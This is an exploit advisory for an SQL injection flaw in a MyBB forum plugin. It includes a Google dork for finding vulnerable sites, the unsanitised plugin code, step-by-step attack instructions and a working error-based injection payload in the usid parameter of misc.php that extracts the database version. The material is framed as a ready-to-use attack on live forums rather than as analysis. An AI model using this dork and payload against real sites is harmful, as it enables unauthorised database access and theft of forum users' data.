MyBB Follower User Plugin SQL Injection

# Exploit Title: Follower User MyBB plugin SQL Injection 0day
# Google Dork: intext:"Users subscribed to" inurl:member.php -site:fwcombie.us
# Date: 13.10.2012
# Exploit Author: Th3FreakPony
# Software Link: http://mods.mybb.com/view/suscriber-user
# Version: 1.5+
# Tested on: Linux.
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The vulnerabillity exist within SuscribeUsers.php on SuscribeUsers_add():

$usid = $mybb->input[usid]; //Line 671
$uid = $mybb->input[uid]; //Line 672
if(user_awaiting($uid,$usid)) //Line 781
{ //Line 782
redirect("member.php?action=profile&uid=".$usid."# suscriberuser", $lang->double_suscription_awaiting,$lang->suscriberuser); // Line 783
} //Line 784
?>


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Instructions:
1. Create a new account on the target site.
2. Check your User ID by entering your profile link and write it down.
3. Enter here and start to inject your code:

/misc.php?suscriberuser=yes&usid='[SQLi]--+-&uid=[Your_User_ID]

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Demo:
http://server/misc.php?suscriberuser=yes&usid=' or 1 group by concat_ws(0x7e,version(),floor(rand(0)*2)) having min(0)--+-2&uid=[your_uid]
Image : http://i.imgur.com/eGhzJ.png


Follow: https://twitter.com/PonyBlaze


Shotouts goes to FillySec.